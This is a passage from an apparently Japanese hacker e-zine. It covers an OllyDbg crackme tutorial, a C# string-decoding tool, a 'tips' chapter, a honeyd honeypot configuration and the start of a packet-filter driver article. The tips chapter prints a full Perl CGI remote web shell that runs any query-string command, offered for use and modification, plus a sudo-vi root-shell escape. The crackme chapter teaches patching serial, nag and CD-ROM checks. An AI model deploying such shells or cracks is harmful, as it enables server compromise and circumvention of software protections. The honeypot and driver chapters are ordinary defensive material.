MB_OK|MB_APPLMODAL 00401235 . 68 E7304000 PUSH crkme03.004030E7 ; |Title = "登録情報" 0040123A . 68 F0304000 PUSH crkme03.004030F0 ; |Text = "不正解です。" 0040123F . FF75 08 PUSH DWORD PTR SS:[EBP+8] ; |hOwner 00401242 . E8 29000000 CALL ; \MessageBoxA -----  このcrackmeを起動して適当なパスを入れ、登録を押すと「不正解です。」とメ ッセージがでることがわかります。では、プログラムの中で「不正解です」とい うメッセージを出力している部分は、当然先に示した部分だと分かりますが、で はこの部分はどうやって探せばよいでしょうか?そこで、先ほどの考え方を引用 してみると、まず「API関数を推測してみる」ことになります。メッセージボック スを出力するAPI関数は何か?と考えると、MessageBoxAというAPI関数がすぐに思 いつく…ようになりましょう。すると、最初に述べた「ラベルネームの一覧」ウ ィンドウ内にMessageBoxAも表示されていますから、カーソルを当ててEnterを押 すとMessageBoxAが使われている箇所がずらりと出てきます。CALLで呼び出されて いるのがメッセージボックス出力部分ですから、ダブルクリックかEnterを押すと 使われているアドレスに飛びます。  ではなかなかわからないときもあるということは説明したとおりですが、そこ で「参照文字列」を検索する方法をとります。メインウィンドウに表示された逆 アセンブルリストのどこでも良いですから右クリックして、「検索」→「すべて の参照文字列」で行き着けるそこには大量のエラーメッセージだのなんだのがい っぱいありますね。また参照文字列が多すぎる場合は右クリックして「テキスト を検索」を選択すると検索も可能です。すなわちこのときにエラーメッセージが 生きてくるということです。エラーメッセージの文字列を手がかりに検索をかけ るとヒットするということです。これも同様にEnterかダブルクリックで該当のア ドレスに飛べます。  このように、情報収集の手段としては、まず「API関数の名前」を手がかりにす ること。また「ダイアログボックス内の文字」「メッセージボックスに表示され た文字」も同様に手がかりになり得ます。この辺ではまだ情報収集の意味は「?」 だと思いますが、後々のブレークポイントの設定や、ステップ実行の話をすると きに大変重要となるので先に説明しておくことにしてみました。情報収集の手段 はここで紹介した限りではもちろんなく、eXeScopeやProcess Walkerなどを使う こともできます。その方法に関してこの文章中では扱いません。 ■0x04.) かしこいブレークポイントの設定  では、ブレークポイントの設定の話に移りますが、ブレークポイントはきちん と設定してますか(笑)? なんか設定しない人もいるようですが、設定しない癖 がつくとやっかいとはとてもいえませんが、まあ、常に設定するくせをつけてお いた方が良いのではないかなと(個人的には)思います。さらに、重要なことで すが、「かしこいブレークポイントが設定できると、かしこいステップ実行によ るかしこい解析が可能になる」というなんかカシコカシコな法則が導き出されま す。  さて、ブレークポイントを置く場所ですが、「ブレークポイント以前がどうで もいい処理で、ブレークポイント以後がステップ実行で見たい場所」に置けば間 違いないでしょう。そのほかにも目印として使ったりすることもできますが、基 本的な置き方は先の通りです。ビデオを見ているとき、気になったシーンで一時 停止するのと同じようなものだと思っていただければ大丈夫です。感覚的にいう ならドラえもんの道具で「時を止める」みたいな感じで使えばいいです(笑い)。  ところで、ブレークポイントを設定する前に、Ollyの上では大まかに分けて3通 りにプログラムを実行することができます。まずひとつめはブレークポイントま で一切止まらずに実行する「実行(F9キー)」、2つめはアドレス通り1行ずつ実 行し、1行ごとに止まる「ステップ実行(F8キー)」、同じステップ実行でも、C ALL命令の内部に潜る「詳細ステップ実行(F7キー)」ですね。ステップ実行と詳 細ステップ実行の違いは後ほど説明したいと思いますが、ブレークポイントは基 本的に、逆アセンブルリストが膨大な量になるプログラムを解析する際に、「ブ レークポイント前まではどうでもいい処理」「ブレークポイントをおいたところ から先が(目標達成にあたって)重要な処理」となるところにブレークポイント を置いておくと、まず最初にF9キーを押してブレークポイントまですっ飛ばし、 そこからステップ実行、または詳細ステップ実行で解析を進めることができ、大 変効率的です。もちろんそれだけでなく、単なる目印に使うこともできます。マ インスイーパの旗のように、乱発してどうにかなるようなものではないので、と りあえず迷ったら置いておけば良いです。しかし解析を進めていくうちに取捨選 択を進めることは大事です。先ほども言ったように賢いブレークポイントを設定 するというのは賢い解析のために必須条件なのですから。  さて、では実際にブレークポイントをどこに置くかですが、基本的にはAPI関数 におくのがまあ定石なのかな、といったところなのですが、どのAPI関数におくか も目標によっては変わってきます。その場合にも、「どこまでがどうでもいい処 理で、どこからがじっくり見ていきたい処理なのか」を念頭に置いてブレークポ イントを設置すれば問題ありません。たとえばcrackmeだと、「シリアルがプログ ラムに取得されるまでがどうでもいい処理で、シリアルが取得された後がじっく り見ていきたい処理」となりますからブレークポイントを設置する場所は「シリ アルを取得するAPI関数」になります。しかし、ナグ消しのたぐい、あるいはエラ ーメッセージを消すたぐいのものは、メッセージ出力部分にブレークポイントを 仕掛けた方がよいこともあります。これは特にCD-ROMチェックにおいてよくある パターンですが、下のチャートのように、OKがクリックされると戻るというパタ ーンにおいて、メッセージボックス部分にブレークポイントを仕掛けておくと便 利なこともあります。 CDが入っているか→入ってない→エラーメッセージ(CD-ROMを入れてください) →【ブレークポイント】→OKがクリックされると戻る→入ってる→起動  いずれにせよ、この辺はかなり経験に左右されますから、とにかくどんどんブ レークポイントを設定して使ってみるというのが上達にもっとも近い道でしょう。  ところでこの後ステップ実行にあたって、ブレークポイントがきちんと仕掛け られていた場合、調査も容易に進むのですが、全く的はずれなところに設定され ていた場合Ollyにうまく処理が移ってくれないこともあります。こういうときは ブレークポイントの設置からやり直しでしょう。F9を押したときに、たとえばシ リアルのクラックならシリアルが入力された状態でOllyに処理が移るとか、CD-R OMチェック回避のクラックならCD-ROMチェック部分で処理が移る、そういうのが 理想的だと思います。 ■0x05.) かしこいステップ実行の仕方  ステップ実行は先ほどさらっと書きましたが、要するにF9/F8/F7の使い分けの 話です。ブレークポイントは先の章で述べたとおり使ってもらえると思いますが、 ようするに最初はF9でブレークポイントまで飛ぶと。そしてブレークポイントか ら先はステップ実行で詰めていくことになります。  ここで、ステップ実行と詳細ステップ実行の違いを簡単に説明しておきますが、 まずCALL命令はご存じかと思います。要するに別の場所に書かれてあるルーチン を呼び出す…感覚的には「数行にまたがった命令を一行に圧縮している」と考え てもよいと思います。CALLは何らかの土産を持って帰ってきます。それは値であ ったり、様々ですね。このルーチンの内部に入るのが詳細ステップ実行、ただの 1命令として処理するのがステップ実行です。API関数を呼び出しているCALL命令 はF8でスルーした方がよいでしょう。プログラム内部のアドレスが呼び出されて いる場合は、場合によって判断しますが、たいていは潜った方が何か見つけられ ることが多い(ような気がします)。  ステップ実行中は、特にレジスタ・フラグの変化と、逆アセンブルリストの下 とダンプウィンドウの上に表示されている白いボックスに注目しましょう。逆に いえばそれ以外はあまり注視する必要はありません。  ブレークポイントから先は、逆アセンブルリストをじーっと見つめて解析して みる、場合によっては紙に書き写してトイレなり電車なりで解析してみるという のもおもしろいですが、まあとりあえず一行ずつ実行してフラグやらレジスタの 値を変化させて正解に(無理矢理)導くというのが結構楽しいですし、中身を書 き換える(パッチを作る)場合には、そういった試行錯誤が重要なこともありま す。たとえば、先ほど例に出した crackme #03ですが、パス取得のAPI関数(ブレ ークポイント設定地点)から先数行のリストをみてみます。 ----- 004011F4 . E8 6B000000 CALL ; \GetDlgItemTextA ----- ここで入力したパスを取得して、 ----- 004011F9 . BE 2C304000 MOV ESI,crkme03.0040302C ; ASCII "qwertyu" ----- でレジスタに入れてるようですね。 ----- 004011FE . 33C9 XOR ECX,ECX ----- ECXレジスタを初期化(XOR ?,?は初期化ですから覚えておきましょう) ----- 00401200 > BF 08314000 MOV EDI,crkme03.00403108 ; ASCII "vP12NGgoQa" ----- これは…正解っぽいものが代入されてますね。 ----- 00401205 . 8A0439 MOV AL,BYTE PTR DS:[ECX+EDI] ----- 先ほどの正解っぽいパスから1文字が代入されています。 ----- 00401208 . 8BD9 MOV EBX,ECX 0040120A . 83E3 01 AND EBX,1 0040120D . 03C3 ADD EAX,EBX 0040120F . 3A0431 CMP AL,BYTE PTR DS:[ECX+ESI] ----- そしてこれがおそらく比較部分であろうということは容易に想像がつきますね。 CMP命令が特にアヤシイです。 ----- 00401212 . 75 1F JNZ SHORT crkme03.00401233 ----- さらに、00401233=不正解メッセージを出力するアドレスに飛ぶことから、この 時点でZフラグが立っているか降りているかが即これが正解か不正解かを分ける境 目になるということです。 ----- 00401214 . 41 INC ECX 00401215 . 83F9 0B CMP ECX,0B 00401218 .^72 E6 JB SHORT crkme03.00401200 ----- で、1文字比較した後は次の文字を調べるのでしょうか。 (以下は上の方に書いたので省略) となっています。  ここで、00401200〜00401218がシリアルをチェックするルーチンになっている ことはもうおわかりだと思いますが、ステップ実行を進めていくと、命令に応じ て、どんどんレジスタやフラグが変化していくのがわかります。さらに、レジス タはダブルクリックで書き換えウィンドウがでますし、フラグは一度クリックし てやると0と1が変化します。付け加えると、逆アセンブルリストの下にあるボッ クス野中に表示されているレジスタの中身などですが、右クリックしてデータ修 正を選ぶと書き換えウィンドウが出現します。このようにどこからでもOllyの上 で踊っているプログラムは書き換えが効きますので、とにかく書き換えしながら 進めて行くと、いずれ強制的に正解にたどり着くでしょう。逆に考えれば、書き 換えた箇所がパッチを当てるべき箇所となります。パッチを当てるには該当の命 令の上にカーソルを当ててSpaceキーを叩くと書き換え画面が出てきますから任意 の命令に書き換えてやればよろしいです。 ■0x06.) とりあえずおさらい… ・実行する前にウィルスチェックをして、パッカーを検出しておくこと。 ・とりあえずOllyを通さず解析対象を起動してみて眺めて情報収集をしてみるこ と。 ・ブレークポイントを試行錯誤しながらきちんと設定し、煮詰めること。 ・ブレークポイントを参考に、値やフラグを書き換えたりしながらパッチの対象 を探し、あるいはシリアルを算出しているルーチンを探して目標を達成すること。  eagle0wl氏が制作されたcrackmeは、Vol.1にせよVol.2にせよ、一応定石みたい なものが存在します。もちろん、こういったcrackmeにかぎらず、ほとんどのクラ ックシーンで定石になるやり方なのですが、まず最初にターゲットのソフトウェ アを起動し、どういう形でシリアルが取得、あるいはキーファイルでもなんでも ですが、どういう関数が使用されているか想像します。たいていは"Getなんたら かんたら"とかですし、キーファイルなら"CreateFileA"になっています。そこで Ollyのラベルネームの一覧でその関数名を探し、とりあえずブレークポイントを 仕掛けて、後はステップ実行とレジスタ・フラグの処理を重ねながら煮詰めてい くという作業になるかと思います。 ■0x07.) おわりに  さて、ここまでとりあえず読んでいただけたら大まかな流れはつかめる…かな ? と思いますので、「Digital Travesia」さんのコンテンツ、Ollydbg Q&Aをと りあえず一読すれば基礎知識としてはほぼ完成になると思いますので、是非読ん でおいてください。また応用力を養うためにcrackmeにもどんどん挑戦していけば 自ずと身に付くはずです。その際は是非そこら辺にあるeagle0wl's crackme tut orialを拾ってきましょう。とりあえず一定のレベルに達するためには経験がもの をいうはずなので、とにかく数をこなせばレベルアップすること請け合いです。  さて、以上何か質問などあれば受け付けますので、ほかにも感想とか、あと重 要ですが間違いなどあればメールぜひお願いします。  ではまたお会いしましょう。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第4章: C# Programming 0x1 --- 著者:Will x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) 今回作成するソフト  前回の.NETアプリケーションを解析する時に使用した、Reflectorの文字列を日 本語に変換するソフトを作成します。 ■0x02.) 用意 ●使用ソフト ・Visual C# 2005 Express Edition(英語版)  インストール済みを前提に進めます。 http://msdn.microsoft.com/vstudio/express/visualcsharp/ ・Stirling http://www.vector.co.jp/soft/win95/util/se079072.html         ・ソースコード http://will.wbjapan.com/archive/programming/source/RDforNET.zip ・かる〜いやる気 ■0x03.) 前準備  まずはReflectorで逆コンパイルしたcrackme0xc内の文字列を参考にすると、 「\u4e0d\u6b63\u306a\u30d1\u30b9\u3067\u3059」は「不正なパスです」だとい うことがわかります。  なお、.NETアプリケーションでは文字列はUNICODEで扱われているので、1文字 ごとにわけると、「4e0d」「6b63」「306a」「30d1」「30b9」「3067」「3059」 となります。これをStirlingのキャラクターセットをUNICODEにして、入力すれば それぞれに対応した文字が表示されるはずなのですが、表示されません。そこで、 これらをリトルエンディアンとみて「4e0d」を「0d4e」を入力してみると「不」 と表示されました。  このことから「\u」を区切り文字にして変換するソフトを作成すればいいので すがエスケープシーケンスやReflectorはASCII文字は普通に出力するなどの例外 があるため、けっこう邪魔くさいことになってしまいます。  そこで今回は別の方法をとることにします。色々と調べた結果、文字列にUNIC ODEを直接指定してもOKなようなので、入力された文字列をソースコードに挿入、 そしてコンパイルという方法で作成してみました。 ■0x04.) ソースコードの解説  以下の処理で元の文字列を取得します。ソースコードの説明はコメントを見て ください。 ----- private void decode_button_Click(object sender, EventArgs e) { //System.CodeDom.Compiler.ICodeCompilerは廃止予定なので使用しない方ががよい Microsoft.CSharp.CSharpCodeProvider CSharpcompiler = new Microsoft.CSharp.CSharpCodeProvider(); System.Diagnostics.Process process = null; string source = null; System.CodeDom.Compiler.CompilerParameters compilerParameters = new System.CodeDom.Compiler.CompilerParameters(); System.CodeDom.Compiler.CompilerResults compilerResults; //コンパイラのオプション compilerParameters.IncludeDebugInformation = false; compilerParameters.CompilerOptions += "/target:winexe";//これを付けないとコンソールアプリケーションになる。 compilerParameters.GenerateExecutable = true; compilerParameters.ReferencedAssemblies.AddRange(new string[] { "mscorlib.dll", "System.dll","System.Drawing.dll","System.Windows.Forms.dll", }); System.IO.StreamReader str = new System.IO.StreamReader(Application.StartupPath + @"\source.txt", System.Text.Encoding.GetEncoding(932)); for (int i = 0; i < 10; i++) { source += str.ReadLine(); }   //挿入 source += "Clipboard.SetDataObject(\"" + string_textBox.Text + "\", true);"; source += str.ReadToEnd(); str.Close(); //コンパイル開始 compilerResults = CSharpcompiler.CompileAssemblyFromSource(compilerParameters, source); if (compilerResults.Errors.Count == 0) { process = System.Diagnostics.Process.Start(compilerParameters.OutputAssembly); //終了するまで待つ process.WaitForExit(); IDataObject iData = Clipboard.GetDataObject(); if (iData.GetDataPresent(DataFormats.Text)) { Result_textBox.Text = (string)iData.GetData(DataFormats.Text); } Clipboard.Clear(); process.Close(); process.Dispose(); } -----  ソースコードの内容としては入力された文字列をsource.txtのソースコードに 挿入してコンパイルします。なお、コンパイルで生成されたアプリケーションは 文字列をクリップボードに転送する処理をします。転送が終われば、転送された 文字列をテキストボックスに表示して終わりです。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第5章: マメ知識 vol.1 --- 著者:Taka John Brunkhorst x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  これ知っておいたらいつか役立つかもしれないというマメ知識を紹介していき ます。 ■0x02.) sudoでrootシェルになって遊ぶ  sudoは御存じの通りroot権限で何かを実行する場合に使います。といってもこ こでは別にvisudoがどーのこーのやsudoersがどーのこーのやらは書きません。普 段はsudo passwdみたいに使いますが、今回はsudoでrootシェルを開きます。 ----- sudo vi [ESC] :! bash bash~# ------  じゃぁ後は好きなだけ遊んでください。 ■0x03.) perlでシェルを作って遊ぶ  ここではPeerlを使ってリモートシェル用のCGIを作って遊びます。こちらの方 はスクラッチからコードしなくとも優秀なスクリプトが出回っております。後は 自分のニーズにhackしてください。  気に入っているスクリプトを紹介致します(by がま)。 ----- $ownname="http://$ENV{'SERVER_NAME'}$ENV{'SCRIPT_NAME'}"; $ENV{'PATH'} = '/bin' . ':/usr/bin' . ':/usr/ucb' . ':/etc' . ':/usr/etc' . ':/usr/lib' . ':/usr/local/bin' . ':/usr/local/lib' . ':/usr/local/sbin' ; ($dir,$cmd)=split('&',$ENV{'QUERY_STRING'}); $dir =~ s/dir=//; $dir =~ s/%(..)/pack('c',hex($1))/ge; $cmd =~ s/cmd=//; $cmd =~ s/\+/ /g; $cmd =~ s/%(..)/pack('c',hex($1))/ge; $|=1; print "Content-type: text/html\n\n"; print ''; print "
\n";
chdir("$dir");
$wd=&pwd;
print "Curr Dir:$wd\n";
$cmdpr = $cmd;
$cmdpr =~ s/&/&/g;
$cmdpr =~ s//>/g;
print "\n>$cmdpr\n";
if ($cmd =~ /^cd(\s)*/ ) {
	unless (chdir($')) {
		print "cd $':not success.\n";
	}
	$dir=&pwd;
	print "Curr Dir:$dir\n";
} else {
	open(PROC,"$cmd 2>&1 |");
	while () {
		s//\002/g;
		s/(.)(\x08\1)+/$1<\/B>/g;
		s/_\x08(.)/$1<\/U>/g;
		s/o\x08\+/X<\/S>/g;
		s/<\/(.)><\1>//g;
		s/&/&/g;
		s/\001//g;
		print $_;
	}
	close(PROC);
}

print "
\n"; print '
'; print '
'; print ''; print ''; print ''; print '
'; print ''; exit; sub pwd { use Cwd; $wd = Cwd::getcwd(); unless ($wd) { $wd='/'; } return $wd; } ----- ■0x04.) PHPでシェルを作って遊ぶ  PHPでのリモートシェルはsafe_modeで起動されていない場合に使用できます。 以下はかなりベーシックなものです。後は自由にmodしてください。 -----

 

----- ■0x05.) manページの構造  manページは御存じの通り必要不可欠です。大きいアプリケーションは当然のこ とながらmanページがでかいです。そこでmanページの構造をしっておくと、「/」 と「n」ばかりを押しているよりより速く必要な情報をゲットすることができます。 ===================================================================== セクション | 内容 ===================================================================== 1 | バイナリやシェルコマンド --------------------------------------------------------------------- 8 | システム管理関係のコマンド --------------------------------------------------------------------- 2 | システムコール --------------------------------------------------------------------- 3 | ライブラリコール --------------------------------------------------------------------- 4 | /dev/などの特別なファイル --------------------------------------------------------------------- 5 | ファイルフォーマットなど --------------------------------------------------------------------- 6 | ゲーム関係 --------------------------------------------------------------------- 7 | マクロパッケージなど --------------------------------------------------------------------- 9 | カーネルルーチン --------------------------------------------------------------------- N | Tcl/TKコマンド ===================================================================== ●manページフォーマット ===================================================================== Name | その名の通り「名前」です。よくそれについての説明があります。 --------------------------------------------------------------------- Synoposis | syntaxなどの説明 --------------------------------------------------------------------- Description | そのアプリケーションなどの説明があります --------------------------------------------------------------------- Options | オプション --------------------------------------------------------------------- Return Values | 自分はあまり見掛けませんが、ファンクションリターンバリューが記述されているようです。 --------------------------------------------------------------------- See also | それに関しているmanページ、まはconfなどへのmanページへのリンクがあります --------------------------------------------------------------------- Bugs | 現在発覚しているバグなどがリストされています --------------------------------------------------------------------- Files | 設定ファイル(confファイル)など、そのアプリケーションに関連しているファイルが書かれてあります。 --------------------------------------------------------------------- Copying | ライセンス --------------------------------------------------------------------- Authors | メインデベロッパ又はリリースした人など ===================================================================== ●おまけ  man :num: app で特定のセクションだけを表示することができます。:num:には セクションナンバーを入れてください。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第6章: ハニーポットを作ろう(連載第7回) --- 著者:Narusase x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  前回はhoneydとarpdの連携に関して説明を行い、ちょっとした問題を出題しま した。今回はその解答とhoneydの仮想ネットワーク機能について説明します。 ■0x02.) 解答  まず、下記のようなネットワークを仮定します。  Aはポートスキャンを行うマシンで、Bはhoneydと同一のIPを指定したPCとしま す。 +--+ |HP| +--+ | +-+-+ | | +-+ +-+ |A| |B| +-+ +-+  ここで、Bが停止中の場合、Aによるポートスキャンではまず、BのIPアドレスに 対するARPリクエストが送信されます。HP上のarpdはARPリクエストを受け取ると 自らも同じIPに対するARPリクエストを送信し、一定時間待ちます、当然Bは停止 中ですので何も反応できません。一定時間が過ぎると、HPはそのIPのMACアドレス はHPのものだとARPレスポンスを返します。これによって、AはHPがBであると思い こむ、いわゆるARP Spoofingが成功した状態になり、Bに対するアクセスは全てH Pが受け取れるようになります。  ここで、Bが起動したとします。この場合、AはまだHPがBであると思いこんでい ますが、次にBに対するARPリクエストが発生した場合、HP上のarpdは自分が送信 するARPリクエストに対して返答があるため、ARP Spoofingを行いません。  したがって、AはBの本当のMACアドレスをBからのARPレスポンスで知ることがで き、以降は正しくBに対して通信を行えるようになります。  以上で解答は終わりです。  どうでしたか? 思った通りでしたか?それとも…。  というわけで、ここから本編に入っていきたいと思います。 ■0x03.) 仮想ネットワーク機能  honeydには仮想的なネットワークを生成し、仮想ネットワーク上に仮想的なPC を設置することができるエミュレーション機能を備えています。ここではこのエ ミュレーション機能のうち仮想ネットワーク機能の設定について述べていきます。  honeydの仮想的なネットワークの設定の流れとしては次のような形になります。 1:新しいルータのIPアドレスの割り当てと仮想的なPCの設置(route) 2:ルータのルーティングテーブルの追加(route link) 3:一般的な仮想的なPCの属性のテンプレートの作成(create) 4:テンプレートの基本的な設定(set) 5:テンプレートの拡張的な設定(add) 6:個々の仮想的なPCの属性の設定(bind、set)  今回、主に説明を行うのは1と2の部分になります。  では早速、実際の設定ファイルを作成しファイルのコメントとして順に説明を 行いたいと思います。 ----- vi /usr/local/share/honeyd/config # 新しい仮想的なルータを作成し、仮想的なIPアドレスとして # 192.168.1.2を割り当てます。 # また、そのルータが直接通信できる範囲として192.168.1.2/32の # ネットワークを設定します。 # イメージとしては既にあるネットワークにルータを設置する感じです。 route entry 192.168.1.2 network 192.168.1.2/32 # ルータ192.168.1.2のルーティングテーブルに直接通信可能な # ネットワークとして192.168.1.2/32のネットワークを追加します。 route 192.168.1.2 link 192.168.1.2/32 # ルータ192.168.1.2のルーティングテーブルに直接通信可能な # ネットワークとして192.168.2.0/25のネットワークを追加します。 route 192.168.1.2 link 192.168.2.0/25 # ルータ192.168.1.2の仮想ネットワークに新たな仮想ルータを追加し、 # IPアドレスとして192.168.2.2を割り当てます。 # また、そのルータが直接通信できる範囲として192.168.2.128/25の # ネットワークを設定し、デフォルトの設定の仮想的なPCを設置します。 # イメージとしては仮想ネットワークの中にルータと新たなネット # ワークを設置する感じです。 # また、オプションを付けることでネットワークの特性の設定も可能 # です。 route 192.168.1.2 add net 192.168.2.128/25 192.168.2.2 # ルータ192.168.2.2のルーティングテーブルに直接通信可能な # ネットワークとして192.168.2.128/25のネットワークを追加します。 route 192.168.2.2 link 192.168.2.128/25 # default のテンプレートを作成しています。 create default # default のテンプレートに対してデフォルトの動作として、 # tcp、udpについては全てパケットをブロックし、icmpについては # 全て受け付けるように設定しています。 set default default tcp action block set default default udp action block set default default icmp action open # create では router のテンプレートを作成しています。 create router # 上段では router のテンプレートに対して personality として # "Cisco 1601R router running IOS 12.1(5)"を割り当てています。 # ここで personality とは、そのテンプレートが関連づけられたIP # がどの様なOS、OSのバージョン、ハードウェアで動作しているのか # について設定するものです。 # 下段では router のテンプレートに対してデフォルトの動作として、 # tcpについては全てパケットをリセットするように設定しています。 set router personality "Cisco 1601R router running IOS 12.1(5)" set router default tcp action reset # create では template のテンプレートを作成しています。 create template # 上段では template のテンプレートに対して personality として # "Microsoft Windows XP Professional SP1"を割り当てています。 # 下段では template のテンプレートに対してデフォルトの動作として、 # tcpについては全てパケットをリセットするように設定しています。 set template personality "Microsoft Windows XP Professional SP1" set template default tcp action reset # 作成したルータのIPアドレスに対してrouter テンプレートを適用して # います。 # このbindについては作成したルーターに関してはきちんと設定しな # いと思わぬところで、セグメンテーション違反が発生するため必ず # 設定を行ってください。 bind 192.168.1.2 router bind 192.168.2.2 router # templateのテンプレートを適用した仮想的なPCをローカルのLAN上 # に配置しています。 # なお、この仮想的なPCにアクセスするにはarpdの助けが必要です。 # したがって、今回はコメントアウトしておきます。 # bind 192.168.1.3 template # templateのテンプレートを適用した仮想的なPCを仮想的なLAN上 # に配置しています。 bind 192.168.2.3 template # templateのテンプレートを適用した仮想的なPCを仮想的なLAN上 # に配置しています。 bind 192.168.2.201 template bind 192.168.2.202 template -----  さて、それではこの設定ファイルを早速動かしてみましょう。  起動のためのコマンドは、対象となるIPの範囲が増え、設定ファイルの名前が 変わったため次のようになります。 ----- honeyd -d -f config -i eth0 -u 1000 -g 32767 192.168.1.1-192.168.2.255 -----  次にLAN上の他のマシンからpingを使って、作成した仮想ルータと仮想PCにきち んとアクセスできるか確認してみましょう。 ----- ping 192.168.1.2 -c 1 PING 192.168.1.2 (192.168.1.2) 56(84) bytes of data. 64 バイト応答 送信元 192.168.1.2: icmp_seq=0 ttl=64 時間=0.548ミリ秒 --- 192.168.1.2 ping 統計 --- 送信パケット数 1, 受信パケット数 1, パケット損失 0%, 時間 0ミリ秒 rtt 最小/平均/最大/mdev = 0.548/0.548/0.548/0.000ミリ秒, pipe 2 ping 192.168.2.2 -c 1 PING 192.168.2.2 (192.168.2.2) 56(84) bytes of data. --- 192.168.2.2 ping 統計 --- 送信パケット数 1, 受信パケット数 0, パケット損失 100%, 時間 0ミリ秒 ping 192.168.2.3 -c 1 PING 192.168.2.3 (192.168.2.3) 56(84) bytes of data. --- 192.168.2.3 ping 統計 --- 送信パケット数 1, 受信パケット数 0, パケット損失 100%, 時間 0ミリ秒 ping 192.168.2.201 -c 1 PING 192.168.2.201 (192.168.2.201) 56(84) bytes of data. --- 192.168.2.201 ping 統計 --- 送信パケット数 1, 受信パケット数 0, パケット損失 100%, 時間 0ミリ秒 ping 192.168.2.202 -c 1 PING 192.168.2.202 (192.168.2.202) 56(84) bytes of data. --- 192.168.2.202 ping 統計 --- 送信パケット数 1, 受信パケット数 0, パケット損失 100%, 時間 0ミリ秒 -----  おかしいですね、192.168.2.Xにはアクセスできないようです。さて、なぜでし ょうか?  これは、pingを送信するマシンが192.168.2.0/25と、192.168.2.128/25のネッ トワークがどこにあるか知らないためです。つまり、ルーティングの情報が存在 しないためネットワークの場所が解らないということです。  というわけで、routeコマンドを使って、経路情報を追加します。 ----- route add -net 192.168.2.0/24 gw 192.168.1.2 dev eth1 -----  これで、再度pingを実行すると問題なく反応が返ってきますので、これによっ て仮想的なネットワークが構築されていることが解るかと思います。 ■0x03.) おわりに  今回はhoneydのネットワーク周りの基本的な機能について説明しました。  次回は、ネットワーク周りの拡張的な機能に関して説明したいと思います。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第7章: パケットフィルタリング 〜デバイスドライバ篇〜 --- 著者:Kenji Aiko x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  パケットフィルタリングやパケットキャプチャといったテクニックはアプリケ ーションレベルでも十分に作成することが可能です。しかし、本格的なものを作 るならば、デバイスドライバを利用した方がよいかもしれません。というわけで、 今回はデバイスドライバを利用したパケットフィルタリング(パケットキャプチ ャ)を行ってみようと思います。アプリケーションレベルでのパケットフィルタ リングについては「パケットフィルタリング 〜アプリケーション篇〜」(※1) を参照してください。  デバイスドライバを利用したプログラミングの入門テキストは、「Windows De vice Driver Programming Part 1」(※2)と「Windows Device Driver Program ming Part 2」(※3)を参照してください。  今回使用するプログラムは以下です。 http://ruffnex.oc.to/kenji/windriver/packet/DrvHookIp.zip  そして、今回私が使用する環境は「WindowsXP + VC++.NET + DDK_XP」です。 (※1)パケットフィルタリング 〜アプリケーション篇〜 http://ruffnex.oc.to/kenji/text/fire_a/ (※2)Windows Device Driver Programming Part 1 http://ruffnex.oc.to/kenji/windriver/ (※3)Windows Device Driver Programming Part 2 http://ruffnex.oc.to/kenji/windriver/driver2.html ■0x02.) 2つのアプローチ  Windows上でパケットフィルタリングを行う場合、もっとも簡単な方法として2 つのアプローチがあります。まずひとつ目は「Packet Filtering API」を使う方 法です。これは簡単なユーザーモードのアプリケーションレベルで実装できるた め、フィルタリングを行うだけならばもっとも手軽な方法だといえます。これを 使えばファイヤーウォールを作成することも容易です。しかし、この方法はあく までも「フィルタリング」を行うだけであり、パケットそのものをキャプチャす ることができません。これはユーザーモードアプリケーションの限界ともいえま す。ちなみにこの方法については、「パケットフィルタリング 〜アプリケーシ ョン篇〜」(※1)にて解説しています。 (※1)パケットフィルタリング 〜アプリケーション篇〜 http://ruffnex.oc.to/kenji/text/fire_a/  2つ目は「Filter Hook Driver」を作成する方法です。この方法はカーネルモー ドのドライバを作成し、PacketFilterExtensionPtrのコールバック関数を登録し ます。登録後、IPヘッダ以上のパケットはすべてフックすることが可能になり、 パケットの内部を調べて破棄するか通過させるかの判断ができます。また、この 方法だと、フィルタリングだけではなく、キャプチャも行うこともできるため、 他にもいろいろと使い道がありそうです。  MSDNにはフィルタフックに関するテキスト(※2)があります。よければ参考に してください。 (※2)Filter-Hook Drivers 